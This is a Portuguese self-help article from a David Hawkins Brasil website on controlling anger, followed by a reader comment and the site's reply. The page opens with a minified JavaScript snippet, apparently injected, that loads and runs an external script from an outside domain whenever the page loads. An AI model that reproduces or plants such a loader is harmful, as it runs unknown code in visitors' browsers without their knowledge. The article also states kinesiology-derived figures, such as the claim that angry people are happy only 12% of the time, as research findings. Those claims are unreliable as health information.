;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Raiva: é Possível Controlá-la? - David Hawkins Brasil
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Como controlar a Raiva – com base em Dr. David Hawkins

A raiva é o escudo do medo. Para controlar a raiva é necessário encontrar qual o medo que a impulsiona.

A raiva é uma emoção, e das mais perigosas, pois ela tem energia para destruir e causar mal ao outro.

Muitas pessoas, principalmente homens, dizem ou querem mostrar ser mais racionais do que emocionais.

Contudo, se irritam com facilidade, explodem, ficam indignados com a política ou condições sociais, entre outras coisas.

Acreditamos não termos medos ou sermos destemidos porque a sociedade cobra o homem dessa postura.

Portanto, é mais fácil fingir que o medo não está lá.

E quando nos deparamos com uma situação não estava prevista ou fora de nossas expectativas, o medo da impotência e da ausência de controle é demonstrado através da energia da raiva.

A raiva possui várias ramificações que deixam sua aparência mais socialmente aceitável. Por exemplo:

  • indignação,
  • impaciência,
  • irritação,
  • rancor,
  • criticas e
  • sentimentos de injustiça.

Mas, todos esses galhos surgem da mesma árvore, a raiva. E essa árvore visível aos olhos tem suas raízes escondidas no medo.

De onde vem a raiva?

Quando surge o medo de não termos controle sobre algo, ou das coisas não saírem como queremos, ou de represálias, de falharmos ou de sermos culpados, a raiva surge como protetora do ego.

Ela emerge para que o ego não admita sua vulnerabilidade e não capacidade de controlar tudo ao seu redor.

O que sai do controle vira um inimigo e, então, desperta a raiva.

Além disso, a raiva projeta a percepção de incompetência do ego nas outras pessoas através de sentimentos de:

  • inveja,
  • ciúme,
  • bullying,
  • cinismo,
  • sadismo,
  • sarcasmo,
  • desprezo,
  • repulsa,
  • hostilidade

A raiva e a birra.

Em alguns egos menos controlados, a raiva se mostra através de birra, manha e mimo.

Quantos adultos birrentos ficam bicudinhos em situações difíceis, permitindo que sua criança interior domine sua razão?

Muitos! Vemos homens, mulheres, negros, brancos, amarelos, jovens, idosos, pobres, ricos, enfim, muitos!

A consciência humana é uma e a mesma e se expressa através de corpos físicos separados e com diferentes níveis de maturidade.

Aquelas que conseguem se comunicar entre si, chamamos de animais. E os que possuem a capacidade da razão, chamamos de humanos.

Os seres humanos são os únicos seres capazes de alterar seu estado de maturidade de consciência por vontade própria e evoluir por seu livre arbítrio. Essa é a beleza de ser humano.

O que acontece com quem se entrega à raiva?

Pessoas que se entregam à raiva — e a todas as suas limitações — estão perdendo sua oportunidade de evoluir e amadurecer como seres. Ficam presas em seu próprio sofrimento.

Pesquisas através da cinesiologia realizadas pelo Dr. David R. Hawkins, MD, PhD, indicam que uma pessoa que vive constantemente com raiva em seu dia a dia (dentro de todas as suas ramificações de cinismo, satirismo, irritação, indignação, etc) são apenas 12% do tempo felizes.

Ou seja, 88% de seu tempo de vida é desperdiçado.

O desperdício ocorre na forma de detalhes:

  • perfeccionismo,
  • autodefesa.
  • busca de senso de justiça
  • e ainda, defesa de opiniões obsoletas e sem importância, com as quais só a própria pessoa se importa, porque só enxerga importância em si mesma.

Qual a utilidade dessa emoção?

Nenhuma! A raiva é destrutiva e perigosa. É egoísta e mesquinha.

Não tem utilidade social, a não ser para sugar sua energia e desconstruir o construtivismo de outras pessoas alinhadas espiritualmente.

Corrompe o princípio de moralidade e coloca-se como centro das atenções e do universo.

A raiva adora fazer seu show e chamar todas as atenções para si.

Raiva é carência lidada de uma forma imatura e desrespeitosa consigo mesma e com as outras pessoas.

Vemos então boa parte da sociedade percebendo isso e começando a buscar autocontrole, aulas de meditação, yoga ou massagens relaxantes.

Afinal, as pessoas não podem saber que a raiva está dentro.

Muitos métodos são iniciados superficialmente, apenas como descompressão do sistema de autocompressão que está prestes a explodir (não há crítica aos métodos citados, mas está sendo dito sobre a intenção rasa do buscador).

Essa prática remediativa funciona, por vezes, para se manter um convívio aceitável na sociedade, mas a infelicidade ainda reside dentro.

Como controlar a raiva e curá-la?

A única forma de controlar a raiva e iniciar a cura é através da humildade, aliada ao destemor (ou coragem).

É necessário ser humilde e assumir todos os seus defeitos de caráter como tendo sido opções suas ao longo da vida.

Assumir a responsabilidade e não culpar pais, professores, ex-namorados, etc.

É preciso assumir que somos os autores de nossa própria vida.

Que somos responsáveis pelo que escolhemos, falamos e agimos, assim como por aquilo que atraímos para nós.

Esse é um passo difícil de dar, mas necessário se quisermos iniciar um caminho de real transcendência da raiva.

Para assumir isso é necessário invocar o destemor. Não há nada a temer em assumir isso e transformar sua vida a partir de agora.

A coragem, que do latim vem de cor+aticum (agir com o coração) é peça fundamental para que possamos nos empoderar e autoafirmar.

E, assim, encarar nossos medos e resolvê-los dentro da gente antes de explanar para fora, para o externo.

8 “entregas” para se livrar da raiva

Para transcender totalmente a raiva, é necessário invocarmos constantemente a vontade de nos rendermos às posicionalidades e crenças primárias humanas:

  1. Ressentimento à “injustiça” (nós atraímos todas as situações pelas quais precisamos obter aprendizados ainda não transcendidos);
  2. Expectativas, incluindo as de relações pessoais como aprovação, acordo, reconhecimento, atenção, etc.;
  3. Entregar egocentrismo como estilo de vida e concentrar-se em mudar a si ao invés dos outros;
  4. Disposição para render resíduos da percepção de um mundo imperfeito (tudo é perfeito como É);
  5. Assumir responsabilidade pelas atitudes infantis interiores e subordiná-las a amadurecer (virarem adultas);
  6. Perceber que o ressentimento não é pelo que os outros são, mas pelo que eles não são (de acordo com nossas expectativas egoístas de como eles deveriam ser);
  7. Aceitar falibilidade humana e limitação, que ocorre devido à incapacidade de auto-honestidade (todos estão em constante aprendizado e possuem suas limitações e ignorâncias);
  8. Render o prazer temporário vindo da avidez e da resistência à aversão (desapegar da supervalorização dos estímulos sensoriais constantes que nos trazem prazeres e nos afastam dos desprazeres).

Essa lista contém o núcleo principal de todos os nossos acessos de raiva.

O ego e o medo de não controlar tudo.

É devido ao medo de não termos controle sobre esses oito aspectos citados acima que nosso ego ganha força.

A vontade intrínseca do ego é de ser Deus e poder ter controle sobre esses aspectos.

O ego quer garantir uma vida apenas de prazeres a cada um de nós, ignorando a importância do aprendizado e evolução do ser.

Como essa possibilidade é falsa, o ego se frustra por não poder ser o ‘Todo Poderoso’ e projeta sua raiva no externo, como sendo a fonte e culpado por sua infelicidade.

Afinal, a evolução surge através da experiências com situações desprazerosas.

Dica para encontrar o autodomínio

Uma forma de controlar a raiva e buscar o autodomínio é criar um estilo de vida de coragem.

Escolher autodesafios constantemente que te levem a lidar com adversidades e com o inusitado.

Dessa forma, conseguimos cada vez mais nos flexibilizar diante das lições que a vida nos traz e aumentar a nossa capacidade de amor, diminuindo as intervenções das emoções negativas.

Firme determinação e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

21 respostas em “Como controlar a Raiva – com base em Dr. David Hawkins”

Boa tarde!
Nesta breve leitura pude identificar sentimentos e situações que sempre me acompanharam ao longo da vida e, para os quais eu não conseguia encontrar uma reposta plausível.
Compreendi nessas linhas que, um norte pode ter surgido, considerando isso, quero me aprofundar um pouco mais e ver até onde posso chegar nesse processo.

Desde já agradeço a atenção e, a iniciativa de term me enviado este contato.

Cordialmente

José Luiz Flores Macedo

Oi José Luiz, bom dia! Muito bom saber que nossos conteúdos puderam trazer luz sobre situações e sentimentos vivenciados por você e por tantas outras pessoas. É isso que faz o autoconhecimento, nos mostra essas situações sob a luz de um conhecimento mais profundo de nós mesmos. Gratidão por compartilhar e se quiser se aprofundar em nossos conteúdos, continue nos acompanhando por aqui, pelo nosso instagram @davidhawkinsbrasil ou ainda acesse nossa plataforma de estudos https://plataforma.queroevoluir.com.br/ Vamos em frente!

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